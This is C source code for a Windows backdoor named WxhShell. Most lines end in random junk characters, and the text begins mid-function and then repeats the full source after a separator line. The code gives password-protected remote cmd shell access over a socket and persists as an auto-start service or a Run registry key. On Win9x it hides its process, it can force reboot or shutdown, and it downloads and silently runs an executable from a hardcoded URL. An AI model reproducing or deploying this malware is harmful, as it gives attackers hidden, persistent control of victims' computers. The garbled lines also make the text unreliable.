    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dD^_^'i  
    if(Boot(SHUTDOWN)) frmqBCVJ:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lii ]4k+z  
    else { {nPkb5xbW  
    closesocket(wsh); `}9 1S  
    ExitThread(0); w <#*O:  
    } Krr?`n  
    break; -[=AlqL  
    } MeI2i  
  // 获取shell c7g.|R  
  case 's': { 1R2o6`_  
    CmdShell(wsh); 1(?CNW[  
    closesocket(wsh); t}XB|h  
    ExitThread(0); qXB03}] G  
    break; lv00sa2z  
  } WE5"A| =  
  // 退出 -.b Io  
  case 'x': { y4/>Ol]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n=G>y7b  
    CloseIt(wsh); )7I.N]=  
    break; A&|Wvb=  
    } !#c[~erNZ  
  // 离开 1akD]Z  
  case 'q': { b#p~F}qT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g<2lPH  
    closesocket(wsh); ;WvYzd9  
    WSACleanup(); #FqFH>-*2  
    exit(1); &ppE|[{  
    break; XW UvP  
        } 84p[N8  
  } Siz!/O!'  
  } A]Q1&qM%  
\3Q:K |  
  // 提示信息 'YZI>V*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B:3+',i1  
} ,5eH2W  
  } .#=j <&  
r,u<y_YW  
  return; -7-Fd_F8  
} b`h%W"|2L  
IqhICC1V-  
// shell模块句柄 z*M}=`M$  
int CmdShell(SOCKET sock) bmj8WZ  
{ r^w\9a_  
STARTUPINFO si; Z:_m}Ya|  
ZeroMemory(&si,sizeof(si)); T6h;Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H _Zo@y~J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,bZ"8Z"lss  
PROCESS_INFORMATION ProcessInfo; gx!*O<|e4  
char cmdline[]="cmd"; f MY;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kk!6B  
  return 0; ="3a%\  
} #<a_: m)@  
93Mdp9v+i  
// 自身启动模式 9RG\UbX)^|  
int StartFromService(void) )l+XDI  
{ *[d~Nk%Y$  
typedef struct <a8#0ojm  
{ qDby!^ryc  
  DWORD ExitStatus; Tjnt(5g  
  DWORD PebBaseAddress; GB&Nt{  
  DWORD AffinityMask; ps"/}u l  
  DWORD BasePriority; x @1px&^  
  ULONG UniqueProcessId; KWFyw>*)  
  ULONG InheritedFromUniqueProcessId; jd ["eI  
}   PROCESS_BASIC_INFORMATION; _MM   
98ca[.ui  
PROCNTQSIP NtQueryInformationProcess; Ms.PO{wb  
3C277nx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JQ*D   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jA4PDHf+  
w) =eMdj\o  
  HANDLE             hProcess; jg~_'4f#  
  PROCESS_BASIC_INFORMATION pbi; Dz[566UD  
r#LnDseW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sW;7m[o  
  if(NULL == hInst ) return 0; rs[?v*R74  
>j&1?M2C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R<Z^L~)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9aTL22U?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6 0`+ 9(^  
4Z*|Dsw  
  if (!NtQueryInformationProcess) return 0; 48wDf_<f5=  
/wr6\53J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pPoH5CzcK  
  if(!hProcess) return 0; .j:i&j(  
jyNb(Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ows^W8-w  
BRe{1i 6  
  CloseHandle(hProcess); Gu2_dT  
+ Qt[1Xq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P?uf?{  
if(hProcess==NULL) return 0; v#zPH5xo  
|-|jf  
HMODULE hMod; (G#}*  
char procName[255]; Z*9L'd"D|  
unsigned long cbNeeded; !~kEtC  
*]5z^> q;7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]22C )<  
(/'h4KS@  
  CloseHandle(hProcess); |Z d]= tue  
Lj4&_b9  
if(strstr(procName,"services")) return 1; // 以服务启动 Po> e kz_E  
Z)NrhJC  
  return 0; // 注册表启动 9J?W '8s5  
} -)X{n?i  
CQ<8P86gt  
// 主模块 ^b=XV&{q  
int StartWxhshell(LPSTR lpCmdLine) [KMS<4t'  
{ zyDZ$Dhka  
  SOCKET wsl; \4aKLr  
BOOL val=TRUE; N?$7 Z v[G  
  int port=0; f7Zf}1|  
  struct sockaddr_in door; c )03Ms4 D  
yOc|*O=]U  
  if(wscfg.ws_autoins) Install(); D%A@lMru  
0F^]A"kF  
port=atoi(lpCmdLine); 3x![ 8 x  
`0?^[;[u[  
if(port<=0) port=wscfg.ws_port; IdF$Ml#[h  
8hZwQ[hr  
  WSADATA data; ^PC\E}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $:e)$Xnn-  
z`OkHX*+2|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JPsSw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AQe!Sqg'  
  door.sin_family = AF_INET; 2hy NVG&$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8^y=H=  
  door.sin_port = htons(port); q@%h^9.  
?ZaD=nh$mK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v{.\iIg N  
closesocket(wsl); -Un=T X  
return 1; V/+Jc( N  
} kQ~ %=pn  
{ UOhVJy  
  if(listen(wsl,2) == INVALID_SOCKET) { ?ql2wWsQO  
closesocket(wsl); \e|U9;Mf  
return 1; ;b1wk^,Hw~  
} -AC`q/bCD  
  Wxhshell(wsl); /1[gn8V691  
  WSACleanup(); .uKx>YB}  
AFm,CINa  
return 0; E+z18Lf?  
6b<+8w  
} lBmm(<~Z  
~0ooRUWU7  
// 以NT服务方式启动 5DOE3T`^Oc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xg} ug[  
{ \yG`Sfu2  
DWORD   status = 0; wyzOcx>M  
  DWORD   specificError = 0xfffffff;  uB;_vC  
a.DX%C /5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ec?V[v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )v1CC..  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s^cc@C  
  serviceStatus.dwWin32ExitCode     = 0; b_=8!Q.:  
  serviceStatus.dwServiceSpecificExitCode = 0; sPy2/7Wqd  
  serviceStatus.dwCheckPoint       = 0; ~.6|dw\p!  
  serviceStatus.dwWaitHint       = 0; cOb4c*  
f;wc{qy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4uUs7T  
  if (hServiceStatusHandle==0) return; _f3 WRyN0  
/$:U$JVb?l  
status = GetLastError(); sAYV)w3u"  
  if (status!=NO_ERROR) o%`npi1y  
{ {a@>6)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #Qd' + M  
    serviceStatus.dwCheckPoint       = 0; i3PKqlp.  
    serviceStatus.dwWaitHint       = 0; ?PH/?QP  
    serviceStatus.dwWin32ExitCode     = status; KDD@%E  
    serviceStatus.dwServiceSpecificExitCode = specificError; JKy#j g:#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DjwQ`MA  
    return; \QT9HAdd@  
  } )o jDRJ&  
-72j:nk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /.P9MSz0G  
  serviceStatus.dwCheckPoint       = 0; .45^=2NGmQ  
  serviceStatus.dwWaitHint       = 0; ^i'y6J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 94{)"w]  
} NR4Jn?l{  
#6W,6(#^#  
// 处理NT服务事件,比如:启动、停止 TsHF tj9S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %!y89x=E  
{ %LQ/q 3?_  
switch(fdwControl) P+Z\3re  
{ M&y5AB0  
case SERVICE_CONTROL_STOP: 2*u.3,aW  
  serviceStatus.dwWin32ExitCode = 0; -e ml  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :c7CiP  
  serviceStatus.dwCheckPoint   = 0; bRPO:lAy  
  serviceStatus.dwWaitHint     = 0; 9&K/GaG  
  { %>y;zqZIU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r5 yO5W  
  } zZ=$O-&%  
  return; hCC}d0gf`n  
case SERVICE_CONTROL_PAUSE: 2a `J%A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VVuR+=.&  
  break; DMZ`Sx  
case SERVICE_CONTROL_CONTINUE: fg&eoI'f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hNbIpi=  
  break; N:x0w+Ca  
case SERVICE_CONTROL_INTERROGATE: 0@pu@DP~  
  break; S|K}k:v8  
}; <o0~H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U<Jt50O  
} I:$"E% >=  
*)>do L  
// 标准应用程序主函数 6GINmkA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6>DLp}d  
{ 64U6C*w+  
^$Krub{|  
// 获取操作系统版本 6y  Wc1  
OsIsNt=GetOsVer(); #3MKH8k&~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3t(c_:[%  
1R*=.i%W  
  // 从命令行安装 !/hsJ9  
  if(strpbrk(lpCmdLine,"iI")) Install(); JsQ6l%9  
#w>~u2W  
  // 下载执行文件 "&QH6B1U6H  
if(wscfg.ws_downexe) { v01#>,R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2z\;Q8g){r  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q2s&L]L=  
} - k`.j  
GGnp Pp  
if(!OsIsNt) { {1~T]5  
// 如果时win9x,隐藏进程并且设置为注册表启动 u) *Kws  
HideProc(); U7H9/<&o  
StartWxhshell(lpCmdLine); '4u v3)P  
} s".HEP~]=  
else n%$ &=-Fk  
  if(StartFromService()) q;A;H)?g  
  // 以服务方式启动 3~%!m<1:  
  StartServiceCtrlDispatcher(DispatchTable); WY>Knp=  
else *Km7U-BG  
  // 普通方式启动 p2d\ZgWD=)  
  StartWxhshell(lpCmdLine); DDw''  
Ty+I8e]{  
return 0; i@zY9,b  
} ? +`x e{k  
%}b8aG+  
Z8&' f,  
kso*}uh0  
=========================================== &Lt@} 7$8  
P} r)wAt  
]J@/p:S>  
$sgH'/>  
d`%M g&  
%l$W*.j|;  
" : F9|&q-W,  
.\)A@ua^  
#include <stdio.h> qO()w   
#include <string.h> 4JO@BV>t  
#include <windows.h> L`3n2DEBf  
#include <winsock2.h> 5 9 -!6;T  
#include <winsvc.h> MR;X&Up6!  
#include <urlmon.h> yV]xRaRr2  
<qeCso  
#pragma comment (lib, "Ws2_32.lib") "JT;gaEm  
#pragma comment (lib, "urlmon.lib") EW(J5/mn  
(vyz;Ob  
#define MAX_USER   100 // 最大客户端连接数 !B^K[2`)N  
#define BUF_SOCK   200 // sock buffer E%3TP_B3  
#define KEY_BUFF   255 // 输入 buffer oH-8r:{  
$H*/;`,\[  
#define REBOOT     0   // 重启 ?L|yaC~  
#define SHUTDOWN   1   // 关机 U Cb02h  
DTY<0Q.  
#define DEF_PORT   5000 // 监听端口 n1J]p#nCa.  
&drFQ|  
#define REG_LEN     16   // 注册表键长度 REA;x-u*  
#define SVC_LEN     80   // NT服务名长度 Mv|!2 [:  
4#BRx#\O  
// 从dll定义API &jf7k <^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2\@Z5m3B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N|dD!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (tCib 4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J^zi2 jtV  
"J19*<~  
// wxhshell配置信息 @Icq1zb] y  
struct WSCFG { PK:2xN:=  
  int ws_port;         // 监听端口 dM]#WBOP y  
  char ws_passstr[REG_LEN]; // 口令 :.nRN`e  
  int ws_autoins;       // 安装标记, 1=yes 0=no wNDbHR  
  char ws_regname[REG_LEN]; // 注册表键名 ;l!`C':'  
  char ws_svcname[REG_LEN]; // 服务名 r9@AT(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nhH;?D3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Pe$6s:|NS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n-afDV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p'Bm8=AwD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *'8LntZf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AW8'RfC.  
4JMiyiW&  
}; .+.j*>q>u  
f_\_9o"l  
// default Wxhshell configuration b?VV'{4  
struct WSCFG wscfg={DEF_PORT, @x{`\AM|%  
    "xuhuanlingzhe", ;YH[G;aJ  
    1, =8JB8ZFP  
    "Wxhshell", ~]fJlfR*  
    "Wxhshell", 1r9f[j~  
            "WxhShell Service", 6"QEJ  
    "Wrsky Windows CmdShell Service", K* vU5S  
    "Please Input Your Password: ", r"wtZ]69  
  1, !Q %P%P<$  
  "http://www.wrsky.com/wxhshell.exe", iHBB,x  
  "Wxhshell.exe" rAukHeH  
    }; AEg(m<t  
aMwB>bt  
// 消息定义模块 ,sQ93(Vo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WES#ZYtT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <bUe/m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7@;">`zvm  
char *msg_ws_ext="\n\rExit."; j8$Zv%Ca%  
char *msg_ws_end="\n\rQuit."; bS^WhZy'(  
char *msg_ws_boot="\n\rReboot..."; YT-=;uK^S  
char *msg_ws_poff="\n\rShutdown..."; |g&ym Fc  
char *msg_ws_down="\n\rSave to "; q]c5MlJXF  
ALT^8c&K  
char *msg_ws_err="\n\rErr!"; b{cU<;G)y.  
char *msg_ws_ok="\n\rOK!"; ]r/^9XaqtA  
Pq p *  
char ExeFile[MAX_PATH]; jna;0)  
int nUser = 0; hYg'2OG  
HANDLE handles[MAX_USER]; r o\1]`6  
int OsIsNt; eSy(~Y  
}DjYGMrTB  
SERVICE_STATUS       serviceStatus; 'Pd(\$ZY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fi%r<]@  
+c$I&JO  
// 函数声明 B$a-og(  
int Install(void); {{{#?~3$7  
int Uninstall(void); `jsEN ;<  
int DownloadFile(char *sURL, SOCKET wsh); f~h~5  
int Boot(int flag); dt,3"J  
void HideProc(void); a)s;dp}T%  
int GetOsVer(void); H Sz" tN  
int Wxhshell(SOCKET wsl); `!4,jd  
void TalkWithClient(void *cs); k&6I f0i  
int CmdShell(SOCKET sock); :0~QRc-u  
int StartFromService(void); pbBoy+.>  
int StartWxhshell(LPSTR lpCmdLine); B#l?IB~  
]\c,BWC@e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [M+tB"_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "&o,yd%  
r@}bDkx  
// 数据结构和表定义 0!GAk   
SERVICE_TABLE_ENTRY DispatchTable[] = lxb zHlX  
{ 3MBN:dbQ  
{wscfg.ws_svcname, NTServiceMain}, !]koSw}  
{NULL, NULL} :nJgwp()@  
}; q9*MNHg }  
>FF5x#^&c  
// 自我安装 rpV1y$n<F  
int Install(void) pV\YG B+  
{ ! fl4"  
  char svExeFile[MAX_PATH]; <iLM{@lZvJ  
  HKEY key; > s EjR!  
  strcpy(svExeFile,ExeFile); J7$_VP  
-K %5(Eg  
// 如果是win9x系统,修改注册表设为自启动 /DFV$+9  
if(!OsIsNt) { N/F$bv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O[q\e<V<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D]03eu  
  RegCloseKey(key); 1 Y/$,Oa5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]7YNIS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "MOpsb,  
  RegCloseKey(key); "M H6fF  
  return 0; XEH}4;C'{  
    } OM83S|1s  
  } Fd$!wBL  
} ~}9PuYaD@  
else { qYB~VE03  
[0;buVU.  
// 如果是NT以上系统,安装为系统服务 PX O!t]*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); > 0>  
if (schSCManager!=0) =\kMXB  
{ ^krk&rW3  
  SC_HANDLE schService = CreateService hlbvt-C?}"  
  ( &l2TeC@;  
  schSCManager, A#@_V'a8  
  wscfg.ws_svcname, c-1q2y  
  wscfg.ws_svcdisp, h1D?=M\9  
  SERVICE_ALL_ACCESS, 9(_{`2R8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `#s#it'y  
  SERVICE_AUTO_START, vDj;>VE2b  
  SERVICE_ERROR_NORMAL, ^_5|BT@  
  svExeFile, ii|? ;  
  NULL, 9q[;u[A8^  
  NULL, :py\ |  
  NULL, oy.[+EI`|  
  NULL, -yH,5vD  
  NULL $K}DB N; 4  
  ); #Z,E><t  
  if (schService!=0) 2a=sm1?  
  { D)b}f`  
  CloseServiceHandle(schService); R[[ ,q:4  
  CloseServiceHandle(schSCManager); 2?7(A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5p"BD'^:  
  strcat(svExeFile,wscfg.ws_svcname); .8gl< vX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [3/VCYje  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,ZE?{G{tuj  
  RegCloseKey(key); r`'y?Bra;  
  return 0; S7iDTG_@t  
    } K7TzF&  
  } Y g|lq9gD  
  CloseServiceHandle(schSCManager); sp9W?IJ 6c  
} 2B1xUj ]  
} ,?cH"@ RJ  
@\P4/+"9  
return 1; Do7=#|bAM  
} 0?Q_@Y  
0S/' 94%w  
// 自我卸载 . )XP\ m\  
int Uninstall(void) cDEJk?3+  
{ =Ufr^naA  
  HKEY key; 9/o vKpY  
Td\o9  
if(!OsIsNt) { (K..k-o`.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .10y0F L4  
  RegDeleteValue(key,wscfg.ws_regname); ;\;M =&{}  
  RegCloseKey(key); 63WS7s"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Of}|ib^t  
  RegDeleteValue(key,wscfg.ws_regname); |AhF7Mj*  
  RegCloseKey(key); !vD{Df>  
  return 0; V\5 L?}  
  } ?*"srE,#JX  
} E;Y;r"  
} B~o-l*  
else { {r85l\u)Q\  
v}JD2.O+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \Gp*x\<^Z  
if (schSCManager!=0) e( X|3h|  
{ ? zDa=7 J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ->{d`-}m'  
  if (schService!=0) 9SQ4cv*2  
  { '_P\#7$!MV  
  if(DeleteService(schService)!=0) { jvy$t$az  
  CloseServiceHandle(schService); _banp0ywS  
  CloseServiceHandle(schSCManager); C(T;>if0NH  
  return 0; ?DV5y|}pj  
  } LtgXShp_!  
  CloseServiceHandle(schService); _Xcn N:Rt  
  }  cgu~  
  CloseServiceHandle(schSCManager); 4-GXmC  
} 0u B'g+MU`  
} E6B!+s!]  
vdDludEv  
return 1; (@0O   
} | tQiFC  
Y.#:HRtgW  
// 从指定url下载文件 >JwLk[=j  
int DownloadFile(char *sURL, SOCKET wsh) p>=[-(mt  
{ q% >'4_  
  HRESULT hr; nKr9#JebRC  
char seps[]= "/"; YGvUwj'2a  
char *token; UaG1c%7?X  
char *file; $ <8~k^  
char myURL[MAX_PATH]; z&8un% Jt  
char myFILE[MAX_PATH]; 7%?jL9Vw  
 kzmQm  
strcpy(myURL,sURL); eW'2AT?2H%  
  token=strtok(myURL,seps); G9P!_72  
  while(token!=NULL) /t<@"BoV  
  { `/&SxQB<  
    file=token; 1nknSw#  
  token=strtok(NULL,seps); x`RTp:#  
  } \!50UVzm)  
t`'iU$:1f  
GetCurrentDirectory(MAX_PATH,myFILE); K0+.q?8D|  
strcat(myFILE, "\\"); d&8APe  
strcat(myFILE, file); "L&'Fd@ZU  
  send(wsh,myFILE,strlen(myFILE),0); BKa- k!  
send(wsh,"...",3,0); S8Fmy1#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YV4#%I!<  
  if(hr==S_OK) )D-c]+yt  
return 0; Scm36sT{  
else /e}#' H   
return 1; 2Se?J)MN  
bAk&~4Y_"  
} -D^A:}$  
^rl"rEA  
// 系统电源模块 g?v\!/~(u  
int Boot(int flag) :K82sCy%5  
{ X.F^$  
  HANDLE hToken; g.JN_t5  
  TOKEN_PRIVILEGES tkp;  Qe"pW\  
#%@*p,xh  
  if(OsIsNt) { -~" :f8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RPnRVJ&"Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H1" q  
    tkp.PrivilegeCount = 1; {%v-(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k^ F@X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f ).1]~  
if(flag==REBOOT) { ]j~"mFAP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %%ae^*[!n  
  return 0; Dq@2-Cv  
} 'uDjFQX  
else { $/1c= Y@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I:V0Xxz5t  
  return 0; O#EV5FeF.  
} FSuAjBl0-  
  } S\6[EQ65  
  else { i|)Su4Dw  
if(flag==REBOOT) { 2g9 G{~,@g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +y2[msBs  
  return 0; gnp~OVDqfL  
} [[~w0G~1  
else { P|2E2=G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,fIe&zq  
  return 0; ^taBG3P  
} :HxA`@Ok  
} Awv`)"RAR  
D0(xNhmKz  
return 1; /"H`.LD.?  
} /y7M lU9  
8n BL\{'B[  
// win9x进程隐藏模块 tj]9~eJ-  
void HideProc(void) {j{+0V  
{ r,goRK.  
K ]OK:hY4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S_T^G` [  
  if ( hKernel != NULL ) dm "n%  
  { [+ *$\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h0oMTiA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R:JX<Ba  
    FreeLibrary(hKernel); LWsP ya  
  } GsbAlNP  
&0TVi  
return; F["wD O  
} ^ 5VK>  
GSoZx0  
// 获取操作系统版本 }ZSQ>8a  
int GetOsVer(void) @=]~\[e\  
{ G'zF)0oD  
  OSVERSIONINFO winfo; 7J28JK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uV-'~8  
  GetVersionEx(&winfo); 6J~12TU,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D9mz9  
  return 1; .I VlEG0  
  else ?.c;oS|  
  return 0; =ItkFjhBc  
} z|7zj/+g  
xCzebG["  
// 客户端句柄模块 H_!4>G@  
int Wxhshell(SOCKET wsl) cr?7O;,  
{ +(O~]Q-Ez  
  SOCKET wsh; OX%MP!#KU  
  struct sockaddr_in client; 2>-S-;i  
  DWORD myID; MC 0TaP  
dt[k\ !-v  
  while(nUser<MAX_USER) Z34Wbun4  
{ ~A<H9Bw  
  int nSize=sizeof(client); -S,ln  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]%uZ\Q;9p  
  if(wsh==INVALID_SOCKET) return 1; ri C[lB  
hqk}akXt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3'c\;1lhT  
if(handles[nUser]==0) sG~<M"znV  
  closesocket(wsh);  %d Ernc$  
else 4`Nt{  
  nUser++; VKm!Ri$  
  } &bgvy'p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j7FN\ cz  
2#X4G~>#h  
  return 0;  Pi%%z  
} r[.>P$U  
Y $g$x<7  
// 关闭 socket *'"T$ib  
void CloseIt(SOCKET wsh) '`Bm'Dd  
{ mD:IO  
closesocket(wsh); %8aC1x  
nUser--; ,:Vm6u!  
ExitThread(0); d|Gl`BG   
} *F>v]8  
&`Y!;@K9W#  
// 客户端请求句柄 _<$>*i R  
void TalkWithClient(void *cs) &Gm$:T'~  
{ Y\],2[liF  
n/QF2&X7)  
  SOCKET wsh=(SOCKET)cs; 5_0(D;Q  
  char pwd[SVC_LEN]; Sz{O2 l Y  
  char cmd[KEY_BUFF]; c[}(O H  
char chr[1]; Mh(]3\  
int i,j; #{r#;+  
2=-utN@Z  
  while (nUser < MAX_USER) { J68j=`Y  
%2'A pp  
if(wscfg.ws_passstr) { 5ep/h5*/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ej&<GM|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); , "jbq~  
  //ZeroMemory(pwd,KEY_BUFF); RjJU4q  
      i=0; 3QI?[R.  
  while(i<SVC_LEN) { " "O"  
kE.x+2  
  // 设置超时 $&|y<Y=  
  fd_set FdRead; cN! uV-e  
  struct timeval TimeOut; It_M@  
  FD_ZERO(&FdRead); }}QTHR  
  FD_SET(wsh,&FdRead); )f+U~4G&  
  TimeOut.tv_sec=8; +u@aJ_^  
  TimeOut.tv_usec=0; bG&"9b_c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H@X oqgI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eLwTaW !C  
y#Ht{)C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ggt DN{t  
  pwd=chr[0]; h :Xz UxL\  
  if(chr[0]==0xd || chr[0]==0xa) { eZ a:o1y  
  pwd=0; d#:3be{|&q  
  break; d{et8N  
  }  "SN4*  
  i++; ZaFb*XRgS  
    } qo+N,x9o  
HhA -[p  
  // 如果是非法用户,关闭 socket fsO9EEn7 X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l=`L7| ^/d  
}  <VjJAu  
Bhp OXqg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QYXx:nIrg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `&M{cfp_  
O^LTD#}$a)  
while(1) { p6EDQwlf  
^x*nq3^h\  
  ZeroMemory(cmd,KEY_BUFF); z!=P@b  
r#WT`pav  
      // 自动支持客户端 telnet标准   4!$ M q;U  
  j=0; U]qav,^[  
  while(j<KEY_BUFF) { Ap&)6g   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @J[6,$UVu  
  cmd[j]=chr[0]; t<uYM  
  if(chr[0]==0xa || chr[0]==0xd) { t{!  
  cmd[j]=0; aRj>iQaddx  
  break; W]<$0  
  } RhF>T&Q  
  j++; W#_/ak$uF*  
    } Vi! Q  
qv 3^5 d  
  // 下载文件 7RU}FE  
  if(strstr(cmd,"http://")) { g*\/N,"z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); di9!lS$  
  if(DownloadFile(cmd,wsh)) zHB_{(o7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y$ Zj?Dd#  
  else >Sk[vI0Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y;" n9  
  } "re-@Baw  
  else { "SWMk!  
